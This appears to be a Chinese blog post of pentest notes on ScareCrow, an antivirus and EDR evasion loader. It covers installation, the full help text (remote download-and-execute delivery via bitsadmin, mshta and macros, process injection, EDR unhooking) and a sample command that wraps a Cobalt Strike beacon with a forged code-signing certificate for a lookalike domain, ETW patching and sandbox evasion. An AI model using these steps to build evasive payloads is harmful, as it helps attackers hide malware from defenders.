项目地址

https://github.com/optiv/ScareCrow

安装方法

首先安装：golang、openssl、osslsigncode、mingw-w64

apt install golang openssl osslsigncode mingw-w64 -y

下载源码：https://github.com/optiv/ScareCrow/tags
进入根目录编译

go env -w GOPROXY=https://goproxy.cn
# 使用国内原
go build ScareCrow.go
# 编译

查看帮助

./ScareCrow -h

 _________                           _________                       /   _____/ ____ _____ _______   ____ \_   ___ \_______  ______  _  __\_____  \_/ ___\\__  \\_  __ \_/ __ \/    \  \/\_  __ \/  _ \ \/ \/ //        \  \___ / __ \|  | \/\  ___/\     \____|  | \(  <_> )     /
/_______  /\___  >____  /__|    \___  >\______  /|__|   \____/ \/\_/  \/     \/     \/            \/        \/                      (@Tyl0us)“Fear, you must understand is more than a mere obstacle. Fear is a TEACHER. the first one you ever had.”Usage of ./ScareCrow:-I stringPath to the raw 64-bit shellcode.-Loader stringSets the type of process that will sideload the malicious payload:[*] binary - Generates a binary based payload. (This type does not benfit from any sideloading)  [*] control - Loads a hidden control applet - the process name would be rundll32 if -O is specified a JScript loader will be generated.[*] dll - Generates just a DLL file. Can executed with commands such as rundll32 or regsvr32 with DllRegisterServer, DllGetClassObject as export functions.[*] excel - Loads into a hidden Excel process using a JScript loader.[*] msiexec - Loads into MSIexec process using a JScript loader.[*] wscript - Loads into WScript process using a JScript loader.(default "binary")-O stringName of output file (e.g. loader.js or loader.hta). If Loader is set to dll or binary this option is not required.-configfile stringThe path to a json based configuration file to generate custom file attributes. This will not use the the default ones.-consoleOnly for Binary Payloads - Generates verbose console information when the payload is executed. This will disable the hidden window feature.-delivery stringGenerates a one-liner command to download and execute the payload remotely:[*] bits - Generates a Bitsadmin one liner command to download, execute and remove the loader (Compatible with Binary, Control, Excel and Wscript Loaders).[*] hta - Generates a blank hta file containing the loader along with a MSHTA command execute the loader remotely in the background (Compatible with Control and Excel Loaders). [*] macro - Generates an office macro that will download and execute the loader remotely (Compatible with Control, Excel and Wscript Loaders)-domain stringThe domain name to use for creating a fake code signing cert. (e.g. www.acme.com) -etwEnables ETW patching to prevent ETW events from being generated-injection stringEnables Process Injection Mode and specify the path to the process to create/inject into (use \ for the path).-password stringThe password for code signing cert. Required when -valid is used.-sandboxEnables sandbox evasion using IsDomainedJoined calls.-unmodifiedWhen enabled will generate a DLL loader that WILL NOT removing the EDR hooks in system DLLs and only use custom syscalls (set to false by default)-url stringURL associated with the Delivery option to retrieve the payload. (e.g. https://acme.com/)-valid stringThe path to a valid code signing cert. Used instead -domain if a valid code signing cert is desired.

基本用法

使用cs生成64位raw类型payload：

生成命令：

./ScareCrow -I beacon.bin -domain www.microft.com -etw -sandbox
# -I：指定raw文件
# -domain：伪造签名域名
# -etw：防止ETW事件生成
# -sandbox：反沙箱

上线测试：

【渗透测试笔记】之【免杀工具——ScareCrow】相关推荐

Kail Linux渗透测试教程之免杀Payload生成工具Veil
Kail Linux渗透测试教程之免杀Payload生成工具Veil 免杀Payload生成工具--Veil Kail Linux渗透测试教程之免杀Payload生成工具Veil,Veil是一款利用M ...
使用Metasploit对Windows系统渗透测试——加壳免杀花指令
文章目录前言一.准备工作 1.生成被控端攻击载荷 2.生成主控端handler 二.获取win xp的shell 三.获取win 7的shell 四.获取win 10的shell 1.免杀+捆绑 ...
web安全攻防渗透测试笔记
第三章sqlmap (1) 安装sqlmap前,需要先安装Python3.X Python Releases for Windows | Python.org (2) 在环境变量p ...
web安全攻防渗透测试笔记 (信安一班李静）
第三章sqlmap (1) 安装sqlmap前,需要先安装Python3.X Python Releases for Windows | Python.org (2) 在环境变量p ...
渗透测试入门24之渗透测试参考书、课程、工具、认证
白帽子渗透测试入门资源:参考书.课程.工具.认证文章目录前言名词解析 Pwk课程与OSCP证书 CTF 工具参考书相关文献推荐资源打包前言初入渗透测试领域,过程中遇到不少错综复杂的知识,也 ...
工具解析：杀毒引擎惨遭打脸，黑帽大会爆惊天免杀工具
今年的黑帽大会上,可谓是精彩不断.与往届大会对比看来,当属2017这届最有看头.各种推陈出新的技术暂且不论,光是爆出的新免杀工具AVET就足以惊艳全场. 该工具具有极强的病毒逃避功能,可以使原本弱小的 ...
[在线挑战]【i春秋】渗透测试入门 —— 渗透测试笔记 --转
[i春秋]渗透测试入门 -- 渗透测试笔记,原文 0x00 前言本题算是一道较为综合的渗透题,要求对两个服务器系统进行渗透,第一个是基于齐博 CMS 的信息资讯平台 http://www.test. ...
渗透测试工程师都需要什么工具呢？网络安全（一）
渗透测试是目前网络安全人士向往的工作之一.令人兴奋,含金量高,且对所有人敞开大门.无论你是准毕业生.在校生.信息安全从业人员,还是对渗透测试感兴趣的人群,只要专项能力过硬,就可以成为渗透测试工程师.那 ...
免杀工具charlotte详解，想要成为白帽子，你不会连这个工具都不会用吧？
前言多看看别人的工具,自己也就会写了.(手动狗头) charlotte是一款Python编写的自动化免杀工具,用来生成免杀的dll文件,在antiscan.me上为全绿,效果可见一斑. 官方地址如下 ...
【渗透测试】密码暴力破解工具——九头蛇（hydra）使用详解及实战
目录九头蛇hydra 使用方法案例分析暴破ssh登录密码环境介绍开始爆破破解成功测试登录各种协议破解汇总 FTP协议破解 http协议破解 https协议破解路由器破解 http-p ...

【渗透测试笔记】之【免杀工具——ScareCrow】

项目地址

安装方法

基本用法

【渗透测试笔记】之【免杀工具——ScareCrow】相关推荐

最新文章

热门文章